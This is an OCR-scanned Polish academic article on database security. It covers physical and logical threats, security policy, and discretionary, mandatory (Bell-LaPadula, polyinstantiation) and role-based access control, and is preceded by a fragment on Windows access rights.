2000/XP. Pierwszych sze$¢ praw (Badanie wartosci, Ustawienie wartosci,
Utworz podklucz, Wylicz podklucze) nalezy do grupy $cistych praw doste-
pu, pozostate cztery (Usun, Zapisywanie DAC, Zapisywanie wiasciciela
i Kontrola odczytu) dotycza oméwionych powyzej praw z grupy stan-
dardowych praw dostgpu; sa to odpowiednio: DELETE, WRITE DAC,
WRITE OWNER, READ CONROL.

W wypadku plikéw i katalogéow system NT 4.0 wyswietla jedynie
szes¢ wspdlnych praw dostgpu, podezas gdy w systemach 2000/XP mamy
mozliwos¢ wyboru sposrdd trzynastu pozycji. W rzeczywistodci zbiory
praw dostgpu we wszystkich tych systemach sg identyczne, jednak tylko
systemy 2000/XP umozliwiajq nadanie plikom/katalogom dowolnej ich
kombinacji. System NT 4.0 pozwala tworzy¢ kombinacje jedynie szeéciu
praw, z ktorych pierwsze trzy (Odczyt, Zapis, Wykonanie) sa kombinacjg
Scistych praw dostgpu, zas trzy ostatnie (Usuniecie, Zmiana uprawnien,
Przejecie na wlasnos¢) naleza do grupy praw standardowych (odpowied-
nio: DELETE, WRITE_DAC, WRITE_OWNER).
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Grzegorz Potaczala

Gwaltowny rozwdj technologii informatycznych w ostatnich latach
sprawia, ze coraz wigcej przedsigbiorstw i organizacji korzysta z dobro-
dziejstw komputeryzacji. Szczegélny wklad w usprawnianie dzialania
tych organizacji majg komputerowe bazy danych. Komputerowe bazy da-
nych znajdujg szerokie zastosowanie w kazdej dziedzinie Zzycia. Sa one
wrecz niezastapione w firmach, bankach, szpitalach, uniwersytetach,
w policji, w instytucjach wojskowych czy jednostkach administracyjnych.

Informacje przechowywane w bazach danych sa niejednokrotnie
bardzo cenne i zalezy od nich poprawne dzialanie organizacji. Utrata cen-
nych danych, ich ujawnienie lub niezamierzona modyfikacja moze pro-
wadzié od powaznych utrudnien w funkcjonowaniu organizacji, nawet do
jej katastrofy. Istnieje wigc potrzeba odpowiedniego zabezpieczenia in-
formacji w komputerowych bazach danych.

Statystyki wykazuja, ze ponad 70% wszystkich atakéw na systemy
komputerowe pochodzi z wewnatrz sieci korporacyjnych i przeprowadzane
jest przez pracownikéw. Motywy tych atakéw sa niejednokrotnie bardzo
niebezpieczne 1 zwigzane z firmami konkurencyjnymi. Bardzo waznym
elementem w ochronie baz danych jest wiec skuteczna kontrola dostepu.

Dotychczasowe doswiadczenia i badania naukowe prowadza do
trzech gtéwnych typéw kontroli dostepu:

e uznaniowa kontrola dost¢pu;
e obowigzkowa kontrola dostgpu;
e kontrola dostgpu oparta na rolach.

Szczegdlowa analiza tych trzech typow kontroli dostgpu jest przed-
miotem badan przeprowadzonych w ramach niniejszej pracy.



96 Grzegorz Potaczala

1. Zagrozenia baz danych

Waznym elementem w ochronie baz danych jest doktadne zidentyfi-
kowanie mozliwych zagrozen. Prawidtowe rozpoznanie grozacych nie-
bezpieczenstw umozliwia zastosowanie odpowiednich srodkow bezpie-
czenstwa.

Zagrozenie mozna identyfikowaé z wrogim podmiotem, ktory ce-
lowo lub przypadkowo uzyskuje nieautoryzowany dostep do chronionych
zasobéw bazy danych. W celu ulatwienia rozwazan wprowadzimy roz-
roznienie na zagrozenia fizyczne i logiczne.

2.1. Zagrozenia fizyczne baz danych

Fizyczne zagrozenia to gtéwnie te, ktdre wiazg si¢ ze sprzetem kom-
puterowym i jego otoczeniem. Mogg one wigzaé sie z celowym lub przy-
padkowym dzialaniem. Przyklady celowych zagrozen fizycznych to
nielegalne zdobywanie hasel, kradziez lub zniszczenie nosnikéw infor-
macji czy odcigcie zasilania. Przypadkowymi zagrozeniami fizycznymi
moga by¢: kleski zywiotowe (np. trzesienia ziemi, pozary, powodzie),
wadliwy sprzet, bledy i zaniedbania ludzkie. Zabezpieczenie przed zagro-
zeniami fizycznymi polega na stosowaniu odpowiednich technik i metod
ochrony. Podstawowe elementy to: przechowywanie sprz¢tu komputero-
wego w odpowiednich pomieszczeniach z odpowiednig fizyczng kontrola
dostepu (od zwyklych zamkéw poprzez zamknigcia na karty magnetyczne
do technik biometrycznych), stosowanie wiarygodnego sprzetu, tworzenie
kopii zapasowych, przechowywanie cennych danych w formie zaszyfro-
wanej, odpowiednie przeszkolenie personelu. Ochrona przed zagroze-
niami fizycznymi jest raczej natury technicznej, a jej skutecznosé zalezy
przede wszystkim od rozpoznania i $wiadomosci istnienia tych zagrozen,
a takze od mozliwosci finansowych danej organizacji.

2.2. Zagrozenia logiczne baz danych

Zagrozenia logiczne zwigzane sq gldwnie z oprogramowaniem sys-
temu bazy danych oraz z prowadzona polityka bezpieczenstwa. Zagroze-
nia logiczne mozna sklasyfikowa¢ w nastepujacy sposob:

e  Ujawnienie tajnych informacji poprzez bezposredni lub posredni (wnio-
skowanie) dostep do chronionych zasobéw (atak na tajnos¢ danych).

e Nielegalna modyfikacja danych wprowadzona przypadkowo lub celo-
wo przez nieuprawnionego uzytkownika (atak na integralnosé¢ da-
nych).
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e Odmowa dostgpu do zasobow spowodowana celowym lub przypad-
kowym dzialaniem, w wyniku ktdrego uprawnieni uzytkownicy nie
mogaq uzyska¢ dostgpu do obiektdw (atak na dostepnos¢ danych).
Kazde z opisanych trzech rodzajow zagrozen moze by¢ bardzo nie-

bezpieczne w skutkach. Zagrozenia logiczne, podobnie jak fizyczne, mo-

ga wigzac si¢ z celowym lub przypadkowym dzialaniem.

Przyklady przypadkowego powstania zagrozenia logicznego to bledy
w oprogramowaniu i bledy uzytkownikéw. Szczegblnie niebezpiecznym
zagrozeniem tego rodzaju sa bledy czy zaniedbania w polityce bezpie-
czenstwa danej organizacji. Innym rodzajem przypadkowego zagrozenia
logicznego jest mozliwo$é nielegalnego wnioskowania. Sytuacja taka
powstaje, gdy uzytkownicy na podstawie legalnie dostgpnych informacji,
znajomosci funkcjonowania bazy danych oraz wiadomosci ze §wiata rze-
czywistego mogg poprzez wnioskowanie uzyska¢ informacje, do ktérych
nie powinni mie¢ dostepu. Mozliwo$¢ nielegalnego wnioskowania doty-
czy w szczegOlnym stopniu statystycznych baz danych.

Zagrozenia logiczne zwigzane z celowym dzialaniem to przede
wszystkim naduzycia uprawnien przez pracownikéw, np. poprzez wprowa-
dzanie do systemu ukrytych koddw, takich jak konie trojanskie czy wirusy.
Konie trojanskie to ukryte programy, ktére podczas dzialania legalnych
funkcji systemu wykonuja dodatkowe czynnosci bez wiedzy 1 §wiadomosci
uzytkownika. Moga one np. zbiera¢ informacje, ktdre pozniej beda uzyte
do zlamania systemu bezpieczenstwa., Wirusy to programy zdolne do ko-
piowania sig i do niszczenia srodowiska, w ktérym zostaty uruchomione.

Zagrozenia logiczne sg wiec gldwnie zwigzane z naduzyciami upraw-
nionych uzytkownikéw i brakiem odpowiedniej wiedzy oséb odpowie-
dzialnych za bezpieczenstwo bazy danych. Zagrozenia te sa trudniejsze
do wyeliminowania i — jak wykazuja badania — sa czg¢$ciej spotykane niz
zagrozenia fizyczne. Niniejszy artykul dotyczy gtéwnie ochrony baz da—
nych przed zagrozeniami logicznymi.

2. Wymagania bezpieczenstwa w bazach danych

Skuteczne przeciwdziatanie zagrozeniom logicznym wymaga okre-
Slenia wladciwej polityki bezpieczenstwa, a nastgpnie zastosowania odpo-
wiednich mechanizmow bezpieczenstwa.

Polityka bezpieczerstwa to zbiér praw i regul, ktére definiuja sposéb,
w jaki dana organizacja utrzymuje, chroni i rozdziela informacje zawarte
w bazie danych.
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Mechanizmy bezpieczeristwa definiujg to, jak realizowane sg w sys-
temie cele okreslone przez polityke bezpieczenstwa. Baza danych uwa-
zana jest za bezpieczng, jezeli mechanizmy bezpieczenstwa dokladnie
egzekwujg wytyczne zawarte w polityce bezpieczenistwa.

Kazda organizacja ma odmienng polityke bezpieczenstwa realizowa-
ng za pomoca réznych mechanizméw bezpieczenstwa. W kazdym wypad-
ku mozna jednak wyodrebni¢ podstawowe elementy polityki bezpie-
czenstwa:

1. Identyfikacja, uwierzytelnianie. Zazwyczaj przed uzyskaniem do-
stepu do zasobéw bazy danych kazdy uzytkownik musi zostaé ziden-
tyfikowany przez SZBD. Celem uwierzytelniania jest weryfikacja
procesu identyfikacji. Najczestszg metoda uwierzytelniania jest sto-
sowanie hasta, istniejq jednak systemy identyfikacji i uwierzytelnia-
nia wykorzystujace ztozone techniki i zapewniajace duza skutecz-
nos¢ dziatania. Proces identyfikacji i uwierzytelniania jest podstawa
kazdego bezpiecznego systemu. Wazne jest poprawne i skuteczne
dziatanie mechanizméw uwierzytelniania, poniewaz na ich podsta-
wie uzytkownicy otrzymuja dostep do informacji. W wypadku bled-
nego uwierzytelniania przestajg by¢ skuteczne inne mechanizmy bez-
pieczeinstwa.

2. Kontrola dosi¢pu, autoryzacja. Poprzez autoryzacje rozumiany jest
zbi6r praw okreslajacych, kto ma jaki dostgp do jakich informacii.
Kontrola dostepu to zapewnienie, ze kazdy bezposredni dostep pod-
miotu do informacji jest zgodny z autoryzacja tego podmiotu. Innymi
stowy, poprzez kontrolg dost¢pu akces do obiektow jest ograniczony
tylko do autoryzowanych uzytkownikéw.

3. Integrailnosé, zgodnosé¢. Integralno$¢ ma na celu utrzymanie bazy da-
nych w poprawnym stanie i zawiera trzy elementy: integralnosé ope-
racyjng, integralnosé semantyczng, integralnosé fizyczng. Integral-
nos¢ operacyjna zapewnia spojnos¢ bazy danych podczas wyko-
nywania transakcji. Integralno$é semantyczna ma na celu zapewnie-
nie spojnosci modyfikowanych danych poprzez kontrole tego, czy
wprowadzane dane sa z dozwolonego zakresu. Integralno$é fizyczna
ma za$ zapewnié, ze baza danych jest odporna (czy jest mozliwa re-
konstrukcja bazy danych) na zagrozenia fizyczne, takie jak odcigcie
zasilania.

4. Nadzor. Zapis wszystkich istotnych dziatan uzytkownikéw w systemie
bazy danych nazywany jest nadzorem (ang. auditing). Jezeli jakies
niezgodnosci danych sugeruja, ze baza danych zostala naruszona, to
na podstawie plikow audit mozna sprawdzié, jakie operacje byly wy-
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konywane, wykry¢ sprawce zamieszania czy przywrocié baze danych

do poprawnego stanu. Sam fakt istnienia plikow audit moze by¢ od-

straszeniem potencjalnych nieuprawnionych uzytkownikow.

Bardzo czgsto proces identyfikacji i uwierzytelniania przeprowa-
dzany jest przez system operacyjny. Integralno$é bazy danych w duzym
stopniu zalezy za$ od procesu modelowania danych. Gléwny wysilek
w badaniach nad bezpieczefistwem baz danych skupia si¢ wokét auto-
ryzacji i kontroli dostepu.

3. Autoryzacja i kontrola dostepu

Polityka bezpieczefistwa bazuje na zbiorze chronionych obiektéw
ina zbiorze podmiotéw. Chroniony obiekt to pasywna encja, ktéra
zawiera lub otrzymuje okre$lona informacjg. Chronionym obiektem moze
by¢ w praktyce cala baza danych, relacja, perspektywa, krotka, atrybut
czy pojedynczy element. Podmiot to aktywna encja najczesciej
reprezentujaca osobe lub proces dzialajacy w imieniu tej osoby. Podmiot
jest odpowiedzialny za zmiany w bazie danych oraz czesciowo za prze-
plyw informacji migdzy obiektami i innymi podmiotami.

Sposob, w jaki dany podmiot uzyskuje dostep do obiektu, nazywany
jest przywilejem dostepu (trybem dostgpu). Przywileje dostepu moga byé
zwiazane z manipulacjami danymi w obiekcie (np. odczyt, zapis, wyko-
nanie), ale moga tez pozwala¢ na zmiang informacji dotyczacych dostepu
do danego obiektu. '

Kontrola dostgpu ma na celu zapewnienie, ze uzyskiwane przez dany
podmiot przywileje dostepu sg zgodne z posiadanymi przez niego upraw-
nieniami, czyli sg zgodne z jego autoryzacjg. Innymi stowy, kontrola do-
stepu polega na zapewnieniu, ze uzytkownicy sg uprawnieni do dzialan,
ktére prébujg wykonaé. Skuteczno$é kontroli dostepu zalezy w duzym
stopniu od poprawnej identyfikacji uzytkownikéw bazy oraz od zabezpie-
czenia mechanizmoéw kontroli dostepu.

Istniejq trzy gléwne typy kontroli dostepu:

1. Uznaniowa kontrola dostepu (ang. Discretionary Access Control —
DAC). Dla kazdego podmiotu okreslone sg jego przywileje, z jakimi
moze uzyskiwac dostep do obiektow. Najistotniejsze dla uznaniowe;j
kontroli dostgpu jest to, ze okreslone sa reguly, z jakimi podmioty
wedlug wlasnego uznania moga przekazywaé lub usuwac posiadane
przywileje innym podmiotom.
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2. Obowiqzkowa kontrola dostepu (ang. Mandatory Access Control —
MAC). Idea tego typu kontroli dostepu polega na tym, ze kazdy
obiekt danych jest oznaczony pewnym poziomem tajnosci, a kazdy
podmiot otrzymuje rodzaj przepustki. Dostep do okreslonego obiektu
danych moga uzyskac tylko podmioty z odpowiednimi przepustkami.

3. Kontrola dostepu oparta na rolach (ang. Role Based Access Control
— RBAC). Wszystkie przywileje sa tutaj zwigzane z rolami, jakie re-
prezentuja rézne funkcje petnione w danej organizacji. Kazdy pod-
miot, zgodnie z jego stanowiskiem, jest przydzielany do jednej lub
wigcej 16l, uzyskujac w ten sposob przywileje tych rél.

Opisane typy kontroli dostgpu majg zastosowanie w réznych $rodo-
wiskach. Uznaniowa kontrola dostepu uwazana bylta powszechnie za stan-
dard w srodowiskach cywilnych, a obowigzkowa kontrola dostepu w $ro-
dowiskach militarnych i rzadowych. Okazuje si¢ jednak, ze bardziej
odpowiednia metoda kontroli dostepu dla srodowisk cywilnych jest kon-
trola dostgpu oparta na rolach oraz ze w $rodowiskach tych moze znalezé
zastosowanie takze obowiazkowa kontrola dostgpu. Niejednokrotnie po-
zadane jest tez wprowadzenie kontroli dostepu laczacej w sobie cechy
wszystkich trzech opisanych metod.

4. Uznaniowa kontrola dostepu

Uznaniowa kontrola dostgpu reguluje zarzadzanie, ochrong i rozpo-
wszechnianie chronionych danych poprzez decyzje wiascicieli tych obiek-
tow. Podstawowa cechg uznaniowej kontroli jest to, ze wiasciciele obiektow
posiadaja do nich wszelkie prawa i mogg wedle wlasnego uznania przeka-
zywac te prawa innym uzytkownikom. Uznaniowa kontrola dostepu jest ela-
styczna i odpowiednia dla wielu organizacji przemystowych i handlowych.

Podstawowymi elementami uznaniowej kontroli dostepu sa:

e  zbidr chronionych obiektéw O (ang. security objects), skonczony
zbior wartosci {0y,...,0n} reprezentujacych relacje bazy danych;

e zbidr podmiotéw S (ang. security subjects) jest to zbiér mozliwych
podmiotéw {si,...,Sm}, ktére reprezentujg uzytkownikoéw, grupy
uzytkownikéw lub procesy dzialajace w ich imieniu;

e  zbidr fypéw dostepu T (ang. access types), czyli zbior operacji bazo-
danowych, takich jak SELECT, INSERT, DELETE, UPDATE,
EXECUTE, GRANT, REVOKE;

o  zbidr predykatéw P (ang. predicates), ktére definiujg obszar obiektu
o€ O, jaki jest ,,widoczny” dla podmiotu s € S.
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Czworka <o, s, t, p> nazywana jest regutg dostepu. Funkcja f definiu-
je, czy autoryzacja f{o, s, ¢, p) jest poprawna:

F: OXSXTxP—> {True,False}.

Dla dowolnych <o, s, t, p>, jesli wartoscig funkcji flo, s, £, p) jest
True, podmiot s ma przyznang autoryzacje ¢/ do obszaru obiektu o,
okreslonego poprzez predykat p. Podmiot s;, ktéry posiada prawa (o, ¢, p),
moze przekazaé je innemu uzytkownikowi s;.

Uznaniowa kontrola dostepu nie daje rzeczywistej pewnosci co do
spetnienia wymagan ochrony. Chociaz kazdy dostgp jest kontrolowany
i dopuszczany tylko wtedy, gdy jest autoryzowany, to jest mozliwe obej-
$cie ograniczen dostepu. W szczegélnosci uzytkownik, ktéry ma prawo
do czytania danych z pewnego obiektu, moze przekazac te prawa innym
uzytkownikom bez zgody wiasciciela obiektu. Rozprzestrzenianie danych
moze wigc si¢ odbywac bez zgody wlasciciela obiektu.

Najwieksze zagrozenie dla systemow stosujacych uznaniowa kon-
trole dostgpu pochodzi ze strony koni trojanskich. Dzialanie aplikacji za-
wierajacej konia trojanskiego jest wiec niezgodne z intencjami i oczeki-
waniami uzytkownika. Konie trojanskie moga wykonywac rézne czynno-
sci bardziej lub mniej niebezpieczne.

Jednym ze sposobow, w jaki kon trojanski moze naruszy¢ bezpie-
czenstwo systemu bazy danych z uznaniowa kontrolg dostepu, jest bezpo-
$rednia manipulacja przywilejami obiektu. Dla przyktadu rozwazmy
sytuacje, w ktorej uzytkownik A uzywa aplikacji otrzymanej od zlosli-
wego uzytkownika B. Aplikacja ta zawiera konia trojanskiego. Przed wy-
konaniem zadan w aplikacji tej, jak i w trakcie dziatania wigkszosci
aplikacji, sprawdzane sg przywileje uzytkownika. Zalézmy dodatkowo,
ze A ma okreslone przywileje na pewnej relacji Pracownicy przyznane
zmozliwoscig przekazywania tych przywilejéw innym uzytkownikom.
Dzialanie konia trojafiskiego moze by¢ nastgpujace: A uruchamia dang
aplikacje, a zarazem konia trojafiskiego, nastepnie kon trojanski uzyskuje
z aplikacji informacje na temat praw A 1 przydziela przywileje A do
relacji Pracownicy innym uzytkownikom (w szczegélnosci B) w imieniu
A, ale bez jego wiedzy. W systemach stosujacych tylko uznaniowa kon-
trole dostepu nie mozna zapobiec takim sytuacjom, mozna jedynie mini-
malizowaé skutki takiego dziatania poprzez racjonalne uzywanie nadawa-
nia przywilejow z mozliwoscig dalszej autoryzacji oraz przez szczegélo-
wa kontrole pochodzenia uzywanego oprogramowania.

Drugim sposobem dzialania konia trojanskiego jest kopiowanie in-
formacji do innego obiektu i przyznawanie praw do tego obiektu innym
uzytkownikom. Rozwazmy poprzednia sytuacje z ta jednak roznica, ze
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uzytkownik A ma przywilej czytania z relacji Pracownicy bez mozliwosci
nadawania tego przywileju innym uzytkownikom. Po uruchomieniu danej
aplikacji kon trojanski uzyskuje dostep do relacji Pracownicy z prawem
czytania i moze skopiowaé dane z tej relacji, np. do relacji Kopia_
Pracownicy, a nastgpnie nada¢ prawo czytania nowej relacji uzytkowni-
kowi B. Oczywiscie dzialanie konia trojanskiego odbywa si¢ bez wiedzy
uzytkownika A.

Uznaniowa kontrola dostepu opiera si¢ na posiadaniu informacji
przez uzytkownikéw bazy. W wigkszosci wypadkéw to dana organizacja
jest wlascicielem informacji i ta organizacja odpowiada za przydzielanie
przywilejéw do danych. W uznaniowej kontroli dostgpu twoérca obiektu
jest jego wiascicielem i moze przyzna¢ pewne prawa do tego obiektu
innym uzytkownikom. Takie podejscie powoduje, ze uzytkownicy odpo-
wiadajg za egzekwowanie zasad bezpieczefistwa, co uniemozliwia sku-
teczng scentralizowang kontrole bez naktadu wysokich kosztow.

Niezaleznie od tego, jak dobrze zaimplementowana jest uznaniowa
kontrola dostgpu, zawsze w mniejszym lub wigkszym stopniu jest ona
nieodporna na dzialanie koni trojanskich. Obecno$¢ i poczynania koni
trojanskich mozna wykrywaé poprzez szczegélowa analizg¢ plikow audit.
Odporne na dzialanie koni trojanskich sa jedynie systemy stosujace obo-
wigzkows kontrolg dostepu, gdzie dane z obiektu o wysokim stopniu bez-
pieczenstwa nie moga by¢ przekazane do obiektéw o niskim stopniu bez-
pieczenstwa.

Na podstawie przeprowadzonych analiz wynika, ze oparcie kontroli
dostgpu tylko na metodzie uznaniowej nie jest odpowiednie. Bardziej
wskazane wydaje sie¢ by¢ stosowanie uznaniowej kontroli w polgczeniu
z innym typem kontroli dostgpu.

5. Obowigzkowa kontrola dostgpu

Pomyst obowiazkowej kontroli dostepu narodzil si¢ w §rodowiskach
militarnych, gdzie w naturalny sposdb istniejg poziomy wtajemniczenia re-
prezentowane przez stopnie wojskowe. Okazuje si¢ jednak, Zze systemy
z obowigzkowa kontrolg dostgpu z powodzeniem moga by¢ zastosowane
w organizacjach cywilnych. Najwazniejsza cecha modeli obowigzkowych
jest to, ze oprocz kontroli dostepu do danych (jak to jest w uznaniowej kon-
troli dostepu) kontroluja one réwniez przepltyw informacji w systemie.

Idea obowigzkowej kontroli dostepu (ang. Mandatory Access Con-
trol — MAC) polega na tym, Ze wszystkie chronione obiekty i podmioty
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musza by¢ przydzielone do okreslonych poziomdéw bezpieczenstwa. Pod-

miot moze uzyskaé dostep do danych, jezeli ma on przydzielony wyzszy

stopien bezpieczenstwa niz te dane. Obowigzkowa kontrola dostgpu
nazywana jest tez czegsto wielopoziomowa kontrolg dostgpu.

Poziomy bezpieczefistwa reprezentowane sa przez etykiety bezpie-
czenstwa. Etykieta obiektu o nazywana jest jego klasyfikacjg (ang. clas-
sification) i oznaczana jest class(o), a etykieta podmiotu s nazywana jest
zezwoleniem (ang. clearance) i oznaczana jest clear(s). Klasyfikacja re-
prezentuje poufnosé etykietowanych danych, natomiast zezwolenie ozna-
cza wiarygodno$¢ podmiotu. Etykieta bezpieczenstwa sklada si¢ z dwdch
czgscei:

e  poziomu bezpieczenstwa — pochodzacego z hierarchiczne; listy pozio-
moéw bezpieczefstwa, np. Scisle tajne > Tajne > Poufne > Jawne;

e  kategorii — reprezentujacych rbzne obszary zastosowan (niekoniecz-
nie hierarchiczne).

Etykiety bezpieczenstwa sg wiec czesciowo uporzadkowane. Etykieta
e1 dominuje (jest wigksza lub rdwna) nad etykieta €2, gdy poziom bezpie-
czenstwa €1 jest wiekszy od €2 i kategoria e1 zawiera kategorie €2.

Wiekszo$¢ modeli MAC bazowanych jest na modelu Bell-LaPadula
(1976). Model ten charakteryzujg dwie reguty:

e regula bezpieczenstwa prostego (simple property) — podmiot s moze
czytaé dane z obiektu d, tylko jesli clear(s) > class(d). Chroni in-
formacje bazy danych przed nieautoryzowanym ujawnieniem

e regula * (*-property) — podmiot s moze zapisa¢ dane do obiektu d,
jesli clear(s) < class(d). Chroni dane przed przeptywem informacji
z ,,g6ry ku dotowi”.

Okazuje si¢ jednak, ze systemy mogg nie by¢ bezpieczne, nawet jesli
poprawnie egzekwuja dwie zasady Bell-LaPadula'. Bezpieczne systemy
musza chronié takze przed wkrytymi kanalami (covert channels).

U podstaw obowiazkowej kontroli dostgpu lezy zapewnienic dostgpu
do sklasyfikowanych informacji tylko uprawnionym podmiotom, czyli tym
posiadajacym odpowiednie zezwolenia. Istnieja jednak takie sytuacje, w
ktérych podmiot o niskim zezwoleniu moze wnioskowaé wyzej sklasyfi-
kowane informacje na podstawie danych, do ktérych ma legalny dostep
oraz na podstawic znajomosci funkcjonowania i budowy bazy danych. Ta-
kie mozliwoéci wnioskowania nazywane sa ukrytymi kanatami przeptywu
tajnej informacji. Bezpieczna baza danych powinna nie tylko zapewnia¢

! Opis modelu mozna znalez¢ w artykule Krystiana Matusiewicza.
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kontrolg bezposredniego dostepu do sklasyfikowanych danych, lecz takze
uniemozliwia¢ wnioskowanie wysoko sklasyfikowanych danych.

Na przykladzie relacji MISJA rozpatrzymy sytuacje, w ktérych ist-
nieje mozliwo$¢ wnioskowania informacji. Rozwazmy najbardziej po-
wszechny przypadek, w ktérym kazda indywidualna warto$é atrybutu ma
przyporzadkowang etykiete bezpieczenstwa. Zaldzmy takze istnienie
czterech poziomow bezpieczefistwa, ktore oznaczymy: S > T > P > J
(Scisle tajne > Tajne > Poufne > Jawne), oraz istnienie tylko jednej kate-
gorii. W kazdym schemacie relacyjnym bedzie jeszcze dodatkowy atrybut
TC (klasyfikacja krotki, od ang. Tuple Classification), w ktérym bedg zwarte
etykiety bezpieczenstwa catych krotek.

Tab. 1. Fragment relacji MISJA — widoczny dla podmiotu p
o zezwoleniu clear(p) = §

Nazwa Oddziat Cel | %6
Gamma S Delta Force S  Przechwycenie S S
Alfa T SAS T | Rozpoznanie T | °F
Beta S Rangers S | Wywiad S S

W tab. 1 przedstawiony zostat fragment relacji MISJ4 widoczny dla
podmiotdw, ktérych zezwolenie jest rowne S. Zgodnie z aksjomatem bez-
pieczenstwa prostego Bell-LaPadula podmiot o zezwoleniu S moze czyta¢
dane o klasyfikacji mniejszej lub réwnej S. Natomiast podmiot o zezwo-
leniu 7' moze czytaé dane przedstawione w tab. 2.

Tab. 2. Fragment relacji MISJA — widoczny dla podmiotu p
o zezwoleniu clear(p) =T

|

Cel e
Rozpoznanie T T

Oddziat
SAS T

Nazwa
Alfa T

Rozwazmy sytuacje, w ktorych istnieje niebezpieczenstwo powstania
ukrytych kanaléw przeplywu chronionej informacji oraz mozliwosci nie-
bezpiecznego wnioskowania.

SYTUACJA 1

Podmiot p o zezwoleniu clear(p) = T chce wykonaé operacjg wsta-
wiania nowej krotki <Gamma, Rangers, Wywiad> do relacji MISJA.
W standardowym SZBD taka relacja zostanie odrzucona jako naruszenie
integralnodci atrybutu kluczowego — w tej relacji istnieje juz krotka z klu-
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czem gléwnym Gamma, ale jest ona niewidoczna dla podmiotu p.
Z punktu widzenia bezpieczenstwa taka operacja nie moze zostaé¢ odrzu-
cona, poniewaz pojawia si¢ wtedy wkryty kanal przeptywu informacji.
Podmiot p méglby wnioskowaé, ze istnieje tajna misja o nazwie Gamma.

SYTUACJA 2

Podmiot p o zezwoleniu clear(p) = S chee vaktualni¢ warto$¢ atrybutu
Cel w krotce <Alfa, SAS, Rozpoznanie> z tab. 1, ktdra sklasyfikowana jest
jako T (Tajne). Jesli uaktualnione dane zostatyby sklasyfikowane na po-
ziomie 7, to w systemie opierajacym si¢ na MAC takie uaktualnienie spo-
wodowatoby naruszenie aksjomatu gwiazdki (* property) i powstalby nie-
zgodny przeplyw informacji w dol, z podmiotu o zezwoleniu S do podmio-
tu o zezwoleniu 7. Druga mozliwoscia jest przydzielenie nowej wartosci
etykiety bezpieczenstwa S. To rozwigzanie spowoduje jednak powstanie
ukrytego kanatu, bo z perspektywy podmiotu o nizszym zezwoleniu znikna
nowo uaktualnione dane i powstanie mozliwo$¢ wnioskowania.

Sposobem uniknigcia pokazanych wyzej probleméw z operacjami
wstawiania 1 uaktualniania jest wprowadzenie wieloinstancyjnosci, czyli
wielu instancji rekordéw z tg sama warto$cig klucza gléwnego, ale z roz-
nymi poziomami bezpieczenstwa. W ten sposéb SZBD, ktéry umozliwia
wieloinstancyjnosé, pozwala podmiotom o nizszym zezwoleniu wstawia-
nie i uaktualnianic rekordow bez utraty danych wyzej sklasyfikowanych
rekordow. W takim wypadku wynikiem wstawiania nowego rekordu opi-
sanego w Sytuacja 2 bedzie relacja przedstawiona w tab. 3.

Wieloinstancyjno$é umozliwia tez wstawianie i uaktualnianie rekor-
dow przez podmioty o wyzszych zezwoleniach, bez wjawniania danych
nizej sklasyfikowanym podmiotom.

Wieloinstancyjnos$¢ rozszerza pojecie klucza giéwnego poprzez do-
Iaczenie etykiet bezpieczenstwa. Z tego powodu wiele rekordéw moze
posiada¢ ten sam tak zwany pozorny klucz glowny (ang. apparent primary
key), jesli maja one rézne poziomy bezpieczenstwa.

Tab. 3. Wieloinstancyjnosé na poziomie krotek

Nazwa Oddzial Cel i} &
Gamma S Delta Force S Przechwycenie S S
Alfa T SAS I Rozpoznanie T 3
Beta S Rangers S Wywiad S S
Gamma T Rangers T Wywiad T T
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Zapewnienie bezpieczenstwa danych poprzez wieloinstancyjno$é
powoduje konflikt z wymaganiami integralnosci danych. Egzekwowanie
zasad integralno$ci (np. unikatowos¢ klucza gltéwnego) powoduje pow-
stawanie ukrytych kanaldéw przeptywu informacji.

Wieloinstancyjno$¢ rozwigzuje wigc problem ukrytych kanatéw
1 mozliwosci niebezpiecznego wnioskowania, narusza jednak podstawo-
we zasady integralnosci danych.

Systemy baz danych starajace si¢ zagwarantowac¢ wysoki poziom bez-
pieczenstwa musza stosowaé pewne elementy tejze metody. W zwiazku
z tym podj¢to wiele prob przystosowania jej do zastosowan w srodowis-
kach cywilnych. Zasadnicze rdéznice miedzy modelami, ktére stosujg obo-
wiazkowg kontrole dostepu, polegaja na sposobie rozwiazywania problemu
wieloinstancyjnosci. W niektérych wieloinstancyjnos¢ jest akceptowalna
1 opisana odpowiednimi aksjomatami (SeaView, LDV), inne ograniczaja ja
do minimum (PSC, MLR), a w jeszcze innych modelach stosowane sg
techniki catkowicie eliminujace wieloinstancyjnosé (SWORD).

W pracach badawczych nad kontrola dostgpu w bazach danych
mozna spotkaé si¢ z probami laczenia obowiazkowej kontroli dostgpu
z kontrolg uznaniowa. Tego typu rozwigzania bardziej odpowiadajg real-
nym potrzebom i z pewnoscig bedg dalej rozwijane.

6. Kontrola dost¢pu oparta na rolach

Metoda kontroli dostepu oparta na rolach skupia ostatnio szczegdlng
uwage jako obiecujaca alternatywa dla tradycyjnych uznaniowych i obo-
wigzkowych metod kontroli dostepu. Pierwsze koncepcje kontroli dostepu
opartej na rolach stosowane byly w pionierskich systemach juz w latach
siedemdziesigtych (gtéwnie model Clarka i Wilsona). Istota tej metody polega
na tym, ze przywileje zwigzane sg z rolami, za$ uzytkownicy przypisani sq
do odpowiednich rdl. Zaleznosci te przedstawione s na rys. 1.

Rys. 1. Zaleznosci miedzy uzytkownikami, rolami i przywilejami
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Role sa tworzone tak, aby reprezentowal rézne funkcje pelnione
w danej organizacji, natomiast uzytkownicy sg przydzielani do tych rél,
ktére odpowiadajg ich kwalifikacjom i petnionym obowigzkom. Uzyt-
kownicy moga by¢ w tatwy sposob przenoszeni z jednej roli do drugie;.
W zaleznosci od potrzeb do poszczegdlnych rél moga byé przydzielane
nowe przywileje lub usuwane istniejace przywileje. System kontroli opar-
ty na rolach mozna wigc fatwo dostosowaé do zmieniajacych si¢ wyma-
gan organizacji.

Role w duzym stopniu utatwiajg zarzadzanie kontrolg dostepu. Przy-
Znawanie autoryzacji jest tutaj podzielone na dwie czgsci: pierwsza to
przypisanie do rél przywilejéw, a druga to skojarzenie uzytkownikdéw
z poszczegOlnymi rolami. Taki podzial ulatwia znacznie zarzadzanie kon-
trolg dostepu. Dla przyktadu, jesli obowigzki pracownika w organizacji
zmienig si¢ (np. z powodu awansu), wystarczy usungé tego pracownika
z roli, do ktdrej dotychczas byt przypisany, i przydzieli¢ go do nowej roli.
Jesli wszystkie prawa dostepu sa okreslane bezposrednio miedzy podmio-
tami a obiektami, wspomniana wyzej sytuacja wymaga usuniecia wszyst-
kich praw dostepu pracownika i przydzielenie mu nowych praw dostgpu
